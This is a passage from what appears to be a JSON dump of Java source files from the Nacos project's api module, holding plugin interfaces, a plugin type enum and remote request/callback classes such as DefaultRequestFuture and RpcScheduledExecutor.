    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.plugin;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Plugin configuration specification interface.\n * Allows plugins to declare configurable properties.\n *\n * @author WangzJi\n * @since 3.2.0\n */\npublic interface PluginConfigSpec {\n\n    /**\n     * Get configuration item definitions.\n     *\n     * @return list of configuration item definitions\n     */\n    List<ConfigItemDefinition> getConfigDefinitions();\n\n    /**\n     * Apply configuration to the plugin.\n     *\n     * @param config configuration key-value pairs\n     */\n    void applyConfig(Map<String, String> config);\n\n    /**\n     * Get current configuration.\n     *\n     * @return current configuration as key-value pairs\n     */\n    Map<String, String> getCurrentConfig();\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/plugin/PluginProvider.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.plugin;\n\nimport java.util.Map;\n\n/**\n * Plugin provider SPI interface.\n *\n * <p>Each plugin type should have one implementation to provide plugin instances.\n * This interface enables automatic plugin discovery through SPI mechanism,\n * eliminating the need to manually register each plugin type in UnifiedPluginManager.\n *\n * <p>Example implementation:\n * <pre>{@code\n * public class AuthPluginProvider implements PluginProvider<AuthPluginService> {\n *     @Override\n *     public PluginType getPluginType() {\n *         return PluginType.AUTH;\n *     }\n *\n *     @Override\n *     public Map<String, AuthPluginService> getAllPlugins() {\n *         return AuthPluginManager.getInstance().getAllPlugins();\n *     }\n * }\n * }</pre>\n *\n * @param <T> the plugin service type\n * @author WangzJi\n * @since 3.2.0\n */\npublic interface PluginProvider<T> {\n\n    /**\n     * Get the plugin type this provider manages.\n     *\n     * @return plugin type\n     */\n    PluginType getPluginType();\n\n    /**\n     * Get all plugin instances managed by this provider.\n     * Key is the plugin name, value is the plugin instance.\n     *\n     * @return map of plugin name to plugin instance\n     */\n    Map<String, T> getAllPlugins();\n\n    /**\n     * Get the order of this provider. Lower values have higher priority.\n     * Used when multiple providers exist for same type.\n     *\n     * @return order value, default is 0\n     */\n    default int getOrder() {\n        return 0;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/plugin/PluginStateChecker.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.plugin;\n\n/**\n * Plugin state checker interface.\n * Used to decouple plugin managers from core module.\n *\n * @author WangzJi\n * @since 3.0.0\n */\npublic interface PluginStateChecker {\n\n    /**\n     * Check if plugin is enabled.\n     *\n     * @param pluginType plugin type string\n     * @param pluginName plugin name\n     * @return true if plugin is enabled, false otherwise\n     */\n    boolean isPluginEnabled(String pluginType, String pluginName);\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/plugin/PluginStateCheckerHolder.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.plugin;\n\nimport java.util.Optional;\nimport java.util.concurrent.atomic.AtomicReference;\n\n/**\n * Static holder for PluginStateChecker.\n * Bridges singleton pattern plugin managers with Spring-managed UnifiedPluginManager.\n * Uses AtomicReference to ensure thread safety.\n *\n * @author WangzJi\n * @since 3.2.0\n */\npublic class PluginStateCheckerHolder {\n\n    private static final AtomicReference<PluginStateChecker> INSTANCE = new AtomicReference<>();\n\n    private PluginStateCheckerHolder() {\n    }\n\n    /**\n     * Set the PluginStateChecker instance.\n     *\n     * @param checker the PluginStateChecker instance\n     */\n    public static void setInstance(PluginStateChecker checker) {\n        INSTANCE.set(checker);\n    }\n\n    /**\n     * Get the PluginStateChecker instance.\n     *\n     * @return Optional containing the PluginStateChecker instance, or empty if not set\n     */\n    public static Optional<PluginStateChecker> getInstance() {\n        return Optional.ofNullable(INSTANCE.get());\n    }\n\n    /**\n     * Check if a plugin is enabled.\n     * Returns true if no checker is set (backward compatibility).\n     *\n     * @param pluginType plugin type string\n     * @param pluginName plugin name\n     * @return true if plugin is enabled or no checker is set\n     */\n    public static boolean isPluginEnabled(String pluginType, String pluginName) {\n        PluginStateChecker checker = INSTANCE.get();\n        if (checker == null) {\n            return true;\n        }\n        return checker.isPluginEnabled(pluginType, pluginName);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/plugin/PluginType.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.plugin;\n\n/**\n * Plugin type enumeration, supports all Nacos plugin types.\n *\n * @author WangzJi\n * @since 3.2.0\n */\npublic enum PluginType {\n\n    /**\n     * Authentication plugin.\n     */\n    AUTH(\"auth\", \"Authentication plugin\"),\n\n    /**\n     * Datasource dialect plugin.\n     */\n    DATASOURCE_DIALECT(\"datasource-dialect\", \"Datasource dialect plugin\"),\n\n    /**\n     * Config change plugin.\n     */\n    CONFIG_CHANGE(\"config-change\", \"Config change plugin\"),\n\n    /**\n     * Encryption plugin.\n     */\n    ENCRYPTION(\"encryption\", \"Encryption plugin\"),\n\n    /**\n     * Trace plugin.\n     */\n    TRACE(\"trace\", \"Trace plugin\"),\n\n    /**\n     * Environment plugin.\n     */\n    ENVIRONMENT(\"environment\", \"Environment plugin\"),\n\n    /**\n     * Control plugin.\n     */\n    CONTROL(\"control\", \"Control plugin\");\n\n    private final String type;\n\n    private final String description;\n\n    PluginType(String type, String description) {\n        this.type = type;\n        this.description = description;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public String getDescription() {\n        return description;\n    }\n\n    /**\n     * Get PluginType from type string.\n     *\n     * @param type type string\n     * @return PluginType\n     * @throws IllegalArgumentException if type is unknown\n     */\n    public static PluginType fromType(String type) {\n        for (PluginType pt : values()) {\n            if (pt.type.equals(type)) {\n                return pt;\n            }\n        }\n        throw new IllegalArgumentException(\"Unknown plugin type: \" + type);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/AbstractPushCallBack.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\n/**\n * abstract callback of push service.\n *\n * @author liuzunfei\n * @version $Id: PushCallBack.java, v 0.1 2020年07月20日 1:13 PM liuzunfei Exp $\n */\npublic abstract class AbstractPushCallBack implements PushCallBack {\n    \n    private long timeout;\n    \n    public AbstractPushCallBack(long timeout) {\n        this.timeout = timeout;\n    }\n    \n    @Override\n    public long getTimeout() {\n        return timeout;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/AbstractRequestCallBack.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\n/**\n * abstract request call back.\n *\n * @author liuzunfei\n * @version $Id: AbstractRequestCallBack.java, v 0.1 2020年09月07日 3:30 PM liuzunfei Exp $\n */\npublic abstract class AbstractRequestCallBack implements RequestCallBack {\n    \n    long timeoutMills;\n    \n    public AbstractRequestCallBack(long timeoutMill) {\n        this.timeoutMills = timeoutMill;\n    }\n    \n    public AbstractRequestCallBack() {\n        this(3000L);\n    }\n    \n    @Override\n    public long getTimeout() {\n        return timeoutMills;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/DefaultRequestFuture.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\nimport java.util.concurrent.ScheduledFuture;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\n\n/**\n * default request future.\n *\n * @author liuzunfei\n * @version $Id: DefaultRequestFuture.java, v 0.1 2020年09月01日 6:42 PM liuzunfei Exp $\n */\npublic class DefaultRequestFuture implements RequestFuture {\n    \n    private long timeStamp;\n    \n    private volatile boolean isDone = false;\n    \n    private boolean isSuccess;\n    \n    private RequestCallBack requestCallBack;\n    \n    private Exception exception;\n    \n    private String requestId;\n    \n    private String connectionId;\n    \n    private Response response;\n    \n    private ScheduledFuture timeoutFuture;\n    \n    FutureTrigger futureTrigger;\n    \n    /**\n     * Getter method for property <tt>requestCallBack</tt>.\n     *\n     * @return property value of requestCallBack\n     */\n    public RequestCallBack getRequestCallBack() {\n        return requestCallBack;\n    }\n    \n    /**\n     * Getter method for property <tt>timeStamp</tt>.\n     *\n     * @return property value of timeStamp\n     */\n    public long getTimeStamp() {\n        return timeStamp;\n    }\n    \n    public DefaultRequestFuture(String connectionId, String requestId) {\n        this(connectionId, requestId, null, null);\n    }\n    \n    public DefaultRequestFuture(String connectionId, String requestId, RequestCallBack requestCallBack,\n            FutureTrigger futureTrigger) {\n        this.timeStamp = System.currentTimeMillis();\n        this.requestCallBack = requestCallBack;\n        this.requestId = requestId;\n        this.connectionId = connectionId;\n        if (requestCallBack != null) {\n            this.timeoutFuture = RpcScheduledExecutor.TIMEOUT_SCHEDULER.schedule(new TimeoutHandler(),\n                    requestCallBack.getTimeout(), TimeUnit.MILLISECONDS);\n        }\n        this.futureTrigger = futureTrigger;\n    }\n    \n    public void setResponse(final Response response) {\n        isDone = true;\n        this.response = response;\n        this.isSuccess = response.isSuccess();\n        if (this.timeoutFuture != null) {\n            timeoutFuture.cancel(true);\n        }\n        synchronized (this) {\n            notifyAll();\n        }\n        \n        callBacInvoke();\n    }\n    \n    public void setFailResult(Exception e) {\n        isDone = true;\n        isSuccess = false;\n        this.exception = e;\n        synchronized (this) {\n            notifyAll();\n        }\n        \n        callBacInvoke();\n    }\n    \n    private void callBacInvoke() {\n        if (requestCallBack != null) {\n            if (requestCallBack.getExecutor() != null) {\n                requestCallBack.getExecutor().execute(new CallBackHandler());\n            } else {\n                new CallBackHandler().run();\n            }\n        }\n    }\n    \n    public String getRequestId() {\n        return this.requestId;\n    }\n    \n    @Override\n    public boolean isDone() {\n        return isDone;\n    }\n    \n    @Override\n    public Response get() throws InterruptedException {\n        synchronized (this) {\n            while (!isDone) {\n                wait();\n            }\n        }\n        return response;\n    }\n    \n    @Override\n    public Response get(long timeout) throws TimeoutException, InterruptedException {\n        if (timeout < 0) {\n            synchronized (this) {\n                while (!isDone) {\n                    wait();\n                }\n            }\n        } else if (timeout > 0) {\n            long end = System.currentTimeMillis() + timeout;\n            long waitTime = timeout;\n            synchronized (this) {\n                while (!isDone && waitTime > 0) {\n                    wait(waitTime);\n                    waitTime = end - System.currentTimeMillis();\n                }\n            }\n        }\n        \n        if (isDone) {\n            return response;\n        } else {\n            if (timeoutFuture == null && futureTrigger != null) {\n                futureTrigger.triggerOnTimeout();\n            }\n            throw new TimeoutException(\n                    \"request timeout after \" + timeout + \" milliseconds, requestId=\" + requestId + \", connectionId=\"\n                            + connectionId);\n        }\n    }\n    \n    class CallBackHandler implements Runnable {\n        \n        @Override\n        public void run() {\n            if (exception != null) {\n                requestCallBack.onException(exception);\n            } else {\n                requestCallBack.onResponse(response);\n            }\n        }\n    }\n    \n    class TimeoutHandler implements Runnable {\n        \n        public TimeoutHandler() {\n        }\n        \n        @Override\n        public void run() {\n            setFailResult(new TimeoutException(\n                    \"Timeout After \" + requestCallBack.getTimeout() + \" milliseconds, requestId=\" + requestId\n                            + \", connectionId=\" + connectionId));\n            if (futureTrigger != null) {\n                futureTrigger.triggerOnTimeout();\n            }\n        }\n    }\n    \n    /**\n     * Cleaning something while request has been failed, canceled, timeout.\n     */\n    public interface FutureTrigger {\n        \n        /**\n         * default trigger for {@link #triggerOnTimeout()} and {@link #triggerOnCancel()}.\n         */\n        void defaultTrigger();\n        \n        /**\n         * triggered on timeout .\n         */\n        default void triggerOnTimeout() {\n            defaultTrigger();\n        }\n        \n        /**\n         * triggered on cancel.\n         */\n        default void triggerOnCancel() {\n            defaultTrigger();\n        }\n        \n    }\n    \n    /**\n     * Getter method for property <tt>connectionId</tt>.\n     *\n     * @return property value of connectionId\n     */\n    public String getConnectionId() {\n        return connectionId;\n    }\n    \n    /**\n     * Cancel the request. It should be called in\n     * {@link com.alibaba.nacos.core.remote.grpc.GrpcConnection#sendRequestInner}\n     * NOTE: For sync requests(which without requestCallBack), the cancel operation is always invalid.\n     *\n     * @param mayInterruptIfRunning whether to interrupt the thread\n     */\n    public void cancel(boolean mayInterruptIfRunning) {\n        synchronized (this) {\n            notifyAll();\n        }\n        // cancel timeout task.\n        if (timeoutFuture != null && !timeoutFuture.isDone()) {\n            boolean cancel = timeoutFuture.cancel(mayInterruptIfRunning);\n            if (cancel && futureTrigger != null) {\n                futureTrigger.triggerOnCancel();\n            }\n        }\n        \n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/Payload.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\n/**\n * payload class sign.\n *\n * @author hujun\n */\npublic interface Payload {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/PushCallBack.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\n/**\n * callback of push service.\n *\n * @author liuzunfei\n * @version $Id: PushCallBack.java, v 0.1 2020年07月20日 1:13 PM liuzunfei Exp $\n */\npublic interface PushCallBack {\n    \n    /**\n     * Push timeout mills.\n     *\n     * @return timeout milliseconds\n     */\n    long getTimeout();\n    \n    /**\n     * invoked on success.\n     */\n    void onSuccess();\n    \n    /**\n     * invoked on fail.\n     *\n     * @param e exception throwed.\n     */\n    void onFail(Throwable e);\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/RemoteConstants.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\n/**\n * constants define of remote.\n *\n * @author liuzunfei\n * @version $Id: ConnectionMetaConstants.java, v 0.1 2020年08月13日 1:05 PM liuzunfei Exp $\n */\npublic class RemoteConstants {\n    \n    /**\n     * label key value  define.\n     */\n    public static final String LABEL_SOURCE = \"source\";\n    \n    public static final String LABEL_SOURCE_SDK = \"sdk\";\n    \n    public static final String LABEL_SOURCE_CLUSTER = \"cluster\";\n    \n    public static final String LABEL_MODULE = \"module\";\n    \n    public static final String LABEL_MODULE_CONFIG = \"config\";\n    \n    public static final String LABEL_MODULE_NAMING = \"naming\";\n    \n    public static final String MONITOR_LABEL_NONE = \"none\";\n    \n    public static final String LABEL_MODULE_LOCK = \"lock\";\n    \n    public static final String LABEL_MODULE_AI = \"ai\";\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/RequestCallBack.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\nimport java.util.concurrent.Executor;\n\n/**\n * call back for request.\n *\n * @author liuzunfei\n * @version $Id: PushCallBack.java, v 0.1 2020年09月01日 6:33 PM liuzunfei Exp $\n */\npublic interface RequestCallBack<T extends Response> {\n    \n    /**\n     * get executor on callback.\n     *\n     * @return executor.\n     */\n    Executor getExecutor();\n    \n    /**\n     * get timeout mills.\n     *\n     * @return timeouts.\n     */\n    long getTimeout();\n    \n    /**\n     * called on success.\n     *\n     * @param response response received.\n     */\n    void onResponse(T response);\n    \n    /**\n     * called on failed.\n     *\n     * @param e exception throwed.\n     */\n    void onException(Throwable e);\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/RequestFuture.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * future for request.\n *\n * @author liuzunfei\n * @version $Id: RequestFuture.java, v 0.1 2020年09月01日 6:31 PM liuzunfei Exp $\n */\npublic interface RequestFuture {\n    \n    /**\n     * check that it is done or not..\n     *\n     * @return is done .\n     */\n    boolean isDone();\n    \n    /**\n     * get response without timeouts.\n     *\n     * @return return response if done.\n     * @throws Exception exception throws .\n     */\n    Response get() throws Exception;\n    \n    /**\n     * get response with a given timeouts.\n     *\n     * @param timeout timeout milliseconds.\n     * @return return response if done.\n     * @throws Exception exception throws .\n     */\n    Response get(long timeout) throws Exception;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/Requester.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * connection interface,define basic operation.\n *\n * @author liuzunfei\n * @version $Id: Requester.java, v 0.1 2020年09月11日 4:05 PM liuzunfei Exp $\n */\npublic interface Requester {\n    \n    /**\n     * send request.\n     *\n     * @param request      request.\n     * @param timeoutMills mills of timeouts.\n     * @return response  response returned.\n     * @throws NacosException exception throw.\n     */\n    Response request(Request request, long timeoutMills) throws NacosException;\n    \n    /**\n     * send request.\n     *\n     * @param request request.\n     * @return request future.\n     * @throws NacosException exception throw.\n     */\n    RequestFuture requestFuture(Request request) throws NacosException;\n    \n    /**\n     * send async request.\n     *\n     * @param request         request.\n     * @param requestCallBack callback of request.\n     * @throws NacosException exception throw.\n     */\n    void asyncRequest(Request request, RequestCallBack requestCallBack) throws NacosException;\n    \n    /**\n     * close connection.\n     */\n    void close();\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/RpcScheduledExecutor.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote;\n\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * rpc scheduler executor .\n *\n * @author liuzunfei\n * @version $Id: RpcScheduledExecutor.java, v 0.1 2020年09月07日 4:12 PM liuzunfei Exp $\n */\npublic class RpcScheduledExecutor extends ScheduledThreadPoolExecutor {\n    \n    public static final RpcScheduledExecutor TIMEOUT_SCHEDULER = new RpcScheduledExecutor(1,\n            \"com.alibaba.nacos.remote.TimerScheduler\");\n    \n    public static final RpcScheduledExecutor CONTROL_SCHEDULER = new RpcScheduledExecutor(1,\n            \"com.alibaba.nacos.control.DelayScheduler\");\n    \n    public static final RpcScheduledExecutor COMMON_SERVER_EXECUTOR = new RpcScheduledExecutor(1,\n            \"com.alibaba.nacos.remote.ServerCommonScheduler\");\n    \n    public RpcScheduledExecutor(int corePoolSize, final String threadName) {\n        super(corePoolSize, new ThreadFactory() {\n            private final AtomicLong index = new AtomicLong();\n            \n            @Override\n            public Thread newThread(Runnable r) {\n                Thread thread = new Thread(r, threadName + \".\" + index.getAndIncrement());\n                thread.setDaemon(true);\n                return thread;\n            }\n        });\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/ability/ClientRemoteAbility.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.ability;\n\nimport java.io.Serializable;\n\n/**\n * remote abilities of nacos client.\n *\n * @author liuzunfei\n * @version $Id: ClientRemoteAbility.java, v 0.1 2021年01月24日 00:09 AM liuzunfei Exp $\n */\npublic class ClientRemoteAbility implements Serializable {\n\n    private static final long serialVersionUID = -5794603724540260652L;\n\n    /**\n     * if support remote connection.\n     */\n    private boolean supportRemoteConnection;\n    \n    public boolean isSupportRemoteConnection() {\n        return this.supportRemoteConnection;\n    }\n    \n    public void setSupportRemoteConnection(boolean supportRemoteConnection) {\n        this.supportRemoteConnection = supportRemoteConnection;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/ability/ServerRemoteAbility.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.ability;\n\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * remote abilities of nacos server.\n *\n * @author liuzunfei\n * @version $Id: ServerRemoteAbility.java, v 0.1 2021年01月24日 00:09 AM liuzunfei Exp $\n */\npublic class ServerRemoteAbility implements Serializable {\n\n    private static final long serialVersionUID = -3069795759506428390L;\n\n    /**\n     * if support remote connection.\n     */\n    private boolean supportRemoteConnection;\n    \n    /**\n     * if support grpc report.\n     */\n    private boolean grpcReportEnabled = true;\n    \n    public boolean isSupportRemoteConnection() {\n        return this.supportRemoteConnection;\n    }\n    \n    public void setSupportRemoteConnection(boolean supportRemoteConnection) {\n        this.supportRemoteConnection = supportRemoteConnection;\n    }\n    \n    public boolean isGrpcReportEnabled() {\n        return grpcReportEnabled;\n    }\n    \n    public void setGrpcReportEnabled(boolean grpcReportEnabled) {\n        this.grpcReportEnabled = grpcReportEnabled;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ServerRemoteAbility that = (ServerRemoteAbility) o;\n        return supportRemoteConnection == that.supportRemoteConnection && grpcReportEnabled == that.grpcReportEnabled;\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(supportRemoteConnection, grpcReportEnabled);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/ClientDetectionRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport static com.alibaba.nacos.api.common.Constants.Remote.INTERNAL_MODULE;\n\n/**\n * client active detection request from server.\n *\n * @author liuzunfei\n * @version $Id: ClientDetectionRequest.java, v 0.1 2021年01月20日 2:42 PM liuzunfei Exp $\n */\npublic class ClientDetectionRequest extends ServerRequest {\n    \n    @Override\n    public String getModule() {\n        return INTERNAL_MODULE;\n    }\n    \n}\n"
  },
  {
